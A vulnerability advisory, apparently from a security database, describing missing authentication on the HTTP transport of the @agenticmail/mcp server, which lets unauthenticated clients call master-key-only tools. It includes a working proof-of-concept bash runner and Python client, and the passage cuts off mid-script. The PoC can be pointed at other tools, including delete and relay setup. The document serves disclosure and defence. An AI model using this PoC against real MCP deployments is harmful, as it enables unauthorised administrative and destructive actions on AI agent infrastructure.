@agenticmail/mcp Missing Authentication for Critical Function
漏洞描述
# AgenticMail MCP HTTP authorization bypass ## Summary `@agenticmail/mcp` exposes a Streamable HTTP transport when started with `--http` or `MCP_HTTP=1`. In that mode, the `/mcp` endpoint accepts requests without any HTTP authentication layer. A remote client can initialize a session and call tools directly. The problem is that the MCP server also exposes tools documented as requiring `AGENTICMAIL_MASTER_KEY`, and the server process forwards those calls using its own configured master key. As a result, any client that can reach the MCP HTTP port can invoke master-only operations without knowing the master key. ## Impact An unauthenticated network client can invoke master-key-only MCP tools through the server, including administrative and gateway actions. Confirmed with a read-only tool: - `setup_guide` The same path reaches higher-impact tools such as: - `setup_email_relay` - `setup_email_domain` - `delete_agent` - `cleanup_agents` - `send_test_email` ## Affected Code - `packages/mcp/src/index.ts` - `packages/mcp/src/tools.ts` - `packages/mcp/README.md` Relevant observations: - `packages/mcp/src/index.ts` starts an HTTP server for `/mcp` without checking an Authorization header. - `packages/mcp/src/tools.ts` marks gateway/admin tools as master-key tools and forwards them with the server-side `AGENTICMAIL_MASTER_KEY`. - `packages/mcp/README.md` documents that gateway/admin tools require the master key. ## Reproduction Use the bundled one-command PoC runner: ```bash cd agenticmail ./scripts/run_agenticmail_mcp_http_unauth_poc.sh ``` Expected success output: ```text [+] received mcp-session-id without authentication: ... [+] tools/call(setup_guide) HTTP status: 200 [+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide` ``` ## PoC Files - [scripts/run_agenticmail_mcp_http_unauth_poc.sh](scripts/run_agenticmail_mcp_http_unauth_poc.sh) - One-command wrapper that starts the API, starts MCP in HTTP mode, runs the client PoC, and cleans up background processes. - [scripts/agenticmail_mcp_http_unauth_poc.py](scripts/agenticmail_mcp_http_unauth_poc.py) - Unauthenticated MCP client that sends `initialize` and then calls `setup_guide`. ## Inline PoC The following PoC is non-destructive. It calls `setup_guide`, which is documented as a master-key tool but only returns setup guidance. ### `scripts/run_agenticmail_mcp_http_unauth_poc.sh` ```bash #!/usr/bin/env bash set -euo pipefail REPO_DIR="." POC="scripts/agenticmail_mcp_http_unauth_poc.py" API_HOST="${API_HOST:-127.0.0.1}" API_PORT="${API_PORT:-}" MCP_PORT="${MCP_PORT:-}" MASTER_KEY="${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}" DATA_DIR="${AGENTICMAIL_DATA_DIR:-.poc-data}" LOG_DIR="${LOG_DIR:-.poc-logs}" mkdir -p "$DATA_DIR" "$LOG_DIR" node_major="$(node -p 'Number(process.versions.node.split(".")[0])' 2>/dev/null || echo 0)" if (( node_major < 20 )); then echo "[-] Node.js 20+ is required; current node is: $(node -v 2>/dev/null || echo missing)" >&2 exit 2 fi find_free_port() { python3 - <<'PY' import socket with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.bind(("127.0.0.1", 0)) print(sock.getsockname()[1]) PY } [[ -n "$API_PORT" ]] || API_PORT="$(find_free_port)" [[ -n "$MCP_PORT" ]] || MCP_PORT="$(find_free_port)" api_pid="" mcp_pid="" cleanup() { set +e [[ -z "${mcp_pid:-}" ]] || kill "$mcp_pid" 2>/dev/null || true [[ -z "${api_pid:-}" ]] || kill "$api_pid" 2>/dev/null || true } trap cleanup EXIT wait_tcp() { local host="$1" local port="$2" local name="$3" for _ in $(seq 1 60); do if python3 - "$host" "$port" >/dev/null 2>&1 <<'PY' import socket import sys sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) try: sock.connect((sys.argv[1], int(sys.argv[2]))) sys.exit(0) except Exception: sys.exit(1) finally: sock.close() PY then echo "[+] $name is listening: $host:$port" return 0 fi sleep 1 done echo "[-] Timed out waiting for $name: $host:$port" >&2 return 1 } cd "$REPO_DIR" echo "[+] Starting AgenticMail API on $API_HOST:$API_PORT" ( export AGENTICMAIL_API_HOST="$API_HOST" export AGENTICMAIL_API_PORT="$API_PORT" export AGENTICMAIL_MASTER_KEY="$MASTER_KEY" export AGENTICMAIL_DATA_DIR="$DATA_DIR" npm run dev:api ) >"$LOG_DIR/api.log" 2>&1 & api_pid="$!" wait_tcp "$API_HOST" "$API_PORT" "AgenticMail API" echo "[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT" ( export AGENTICMAIL_API_URL="http://$API_HOST:$API_PORT" export AGENTICMAIL_MASTER_KEY="$MASTER_KEY" export AGENTICMAIL_DATA_DIR="$DATA_DIR" npm --workspace=@agenticmail/mcp run dev -- --http "--port=$MCP_PORT" ) >"$LOG_DIR/mcp.log" 2>&1 & mcp_pid="$!" wait_tcp "127.0.0.1" "$MCP_PORT" "AgenticMail MCP HTTP server" echo "[+] Running unauthenticated MCP client PoC" python3 "$POC" --url "http://127.0.0.1:$MCP_PORT/mcp" ``` ### `scripts/agenticmail_mcp_http_unauth_poc.py` ```python #!/usr/bin/env python3 from __future__ import annotations import argparse import json import sys import urllib.error import urllib.request def post_json(url: str, payload: dict, session_id: str | None = None) -> tuple[int, dict, str]: data = json.dumps(payload).encode("utf-8") headers = { "Content-Type": "application/json", "Accept": "application/json, text/event-stream", } if session_id: headers["mcp-session-id"] = session_id req = urllib.request.Request(url, data=data, headers=headers, method="POST") try: with urllib.request.urlopen(req, timeout=15) as resp: body = resp.read().decode("utf-8", errors="replace") return resp.status, dict(resp.headers), body except urllib.error.HTTPError as exc: body = exc.read().decode("utf-8", errors="replace") return exc.code, dict(exc.headers), body def parse_sse_or_json(body: str) -> list[dict]: events: list[dict] = [] stripped = body.strip() if not stripped: return events if stripped.startswith("{") or stripped.startswith("["): parsed = json.loads(stripped) return parsed if isinstance(parsed, list) else [parsed] for line in body.splitlines(): if not line.startswith("data:"): continue data = line[len("data:") :].strip() if not data: continue try: events.append(json.loads(data)) except json.JSONDecodeError: pass return events def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--url", default="http://127.0.0.1:8014/mcp") parser.add_argument("--tool", default="setup_guide") args = parser.parse_args() init_payload = { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2025-03-26", "capabilities": {}, "clientInfo": {"name": "agenticmail-unauth-poc", "version": "0.1"}, }, } status, headers, body = post_json(args.url, init_payload) print(f"[+] initialize HTTP status: {status}") print(f"[+] initialize response body: {body[:500]}") session_id = headers.get("mcp-session-id") or headers.get("Mcp-Session-Id") if not session_id: print("[-] No mcp-session-id header returned") return 2 print(f"[+] received mcp-session-id without authentication: {session_id}") post_json(args.url, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {}, }, session_id=session_id) status, _headers, body = post_json(args.url, { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": args.tool, "arguments": {}}, }, session_id=session_id) print(f"[+] tools/call({args.tool}) HTTP status: {status}") print("[+] raw response:") print(body) if any("result" in msg for msg in parse_sse_or_json(body)): prin